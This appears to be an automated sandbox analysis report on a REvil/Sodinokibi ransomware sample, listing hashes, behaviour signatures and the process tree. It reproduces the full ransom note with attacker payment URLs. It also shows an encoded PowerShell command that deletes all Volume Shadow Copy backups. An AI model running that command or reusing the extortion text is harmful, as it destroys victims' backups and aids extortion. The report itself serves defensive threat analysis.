Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2023 02:47

General

  • Target

    2023-05-19_e41395a425a5893dd132acf35c4a5b22_revil.exe

  • Size

    166KB

  • MD5

    e41395a425a5893dd132acf35c4a5b22

  • SHA1

    caa591c1738e8dc70816efa988ec2740f680e963

  • SHA256

    96eab1ef06e3aa876934084636ae1f28c95c14a5badcb69be370825206b4b510

  • SHA512

    b1fa4cc9ca66681ac897bd19a8ce0b1f9733bf1922fdd68888bde133e05b9ae6d872281522686056addf608d4277bb9bd2eae8312ffe5c23d4d6961ef586f4f1

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QXRDg+cdN:ZJ0BXScFy2RsQJ8zgBM+cd

Score
10/10

Malware Config

Extracted

Path

C:\Recovery\0990v5-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 0990v5. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/78237D9A41C8D209 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/78237D9A41C8D209 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: GY6CkXHfPUK/LGaDiq1UHwJ2rKy8jDMmZY52ZGNHzjHYtP2lNu69WfEa3z23BlyA diVdrqRRx2GuDFoQV6mcXdOQTZHdxnDvtIpQY03zP2NjmcuxoSi/rywIzyATSflT l9eV+9iHoNv8NYTeRF8z3kFjVJt/4vFG9bgo7l7DBhw3KtUii+zSCHc/N3G5izbW F3AMZUHKyj68U1yM6FhMbcV5qp9iMGuiRkC3T9n7R4Oj1RVbjJh5hE8XHPrqzkC4 0VC+Md05C08XhDXOuxlOnEy1zeeo4SwSORw5lon/zqtJWv67BKs5Mdnb1LWAL7tI GJmcY5hnHew34vlbRkdkHzRQX4P5jtydW9Fb0uIv+GmQqXLbuOn9v7GJ/GxOI+OX Lx/k9LSrU2ty5Z7DbZsufe3Ec+sjAc7/dR09MYP9mgW6GSLaAaxA+1LvEQN7PDiv 8B2A3E7RCSJeVaQ0D0SsMmxs1OReaCrbCF53Tk27oxbgB+9ruW9jO2ASQT3g3xvQ eQng8CsN6err98yVs955+Mrk1VycHChoYehxInoVwUmltx6/ztJa5vxDzxcF2Lcw GE0kYnMAL8S/dNlGH5F8yDRc3IiRPSUVEWIjuqbPS9y9R2LfjWMv3vdQCeN/lA9N kcbkjr41G7Ax6F+w78XJbZXD/UciG8s571G4LMzDEgn8t/yXVvyI9GeMH+5Y1T12 5NgMVzJmTnNDrid9vyZp6A4bSZET4jXUrUx+Ks2fSt7GbzS4vr7gCohXxOmh6hJ5 VqQDJBLRUCWhRowR6pfK6MfTrSkLdjLhUuKFL1GYL5/JVKtzyPm1eGpu3ty/uLtC RAJNevbePr+pSywSa2Q3ojQuCzfhXS6XmrdVsHk8I74PLuDZIKEWs2JhomwcKhMc OXKVlSHJygV342b0lkFE6RJlXEYhtLlfWOgfYR5Dyu2FQ7FpnTSrUbIp6bheKMod D3isPON6wRuIZ5xBiou3YAu3VAsGgy7IN1TJqOe8oF9Qr+atUvJkYPlfO77h03rY 6IEmco5DMaRIL2nJ8dGAlru+ucwVxVycza3Okbb0c3Ka0UxvCNkQRDXAG1mEwPV0 KFRDtJR768Zs8C78nLnFfZk3cLxm0wfSl23bOIVC0iPcoa0UbOxvkbQE7/FSgf+j rHrexESlvIcCoGndujmYQW0gKcvhh9rkZZTh85VFfbbvRH5RKmqGDqBYETMzFoq9 Bke2EcDedBlBfMLYE0MrbYWau3y1UPVs41T05yo1xj3PaNpBeDspXHvBMOzYf0kC oD+4uzyhhDQ1T/m15oCL7piaZdLfHG2UHqysm51R ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/78237D9A41C8D209

http://decryptor.cc/78237D9A41C8D209

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 13 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2023-05-19_e41395a425a5893dd132acf35c4a5b22_revil.exe
    "C:\Users\Admin\AppData\Local\Temp\2023-05-19_e41395a425a5893dd132acf35c4a5b22_revil.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2536
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4836
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2460

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Recovery\0990v5-readme.txt

      Filesize

      6KB

      MD5

      5a9f9d0c785192878bd679a34d7de9d8

      SHA1

      ab8e4fddcf196d23f1edb1847b813597856c2a32

      SHA256

      d1dd51027ff4bb58ccb7b7c3b54a80a8055a927a6d4e844cbbd10aef7a48e1fa

      SHA512

      e9d935befc03e7f6b76a4ff682b72fb43e500513c8ac1a9049540a9ffd717b24fa9179c56cc8e56571b948426c39f0cf9167fb4492010cf0110fe1c853ed7ca8

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dqhqa1za.pkv.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2536-135-0x00000277E4370000-0x00000277E4392000-memory.dmp

      Filesize

      136KB

    • memory/2536-143-0x00000277E42F0000-0x00000277E4300000-memory.dmp

      Filesize

      64KB

    • memory/2536-144-0x00000277E42F0000-0x00000277E4300000-memory.dmp

      Filesize

      64KB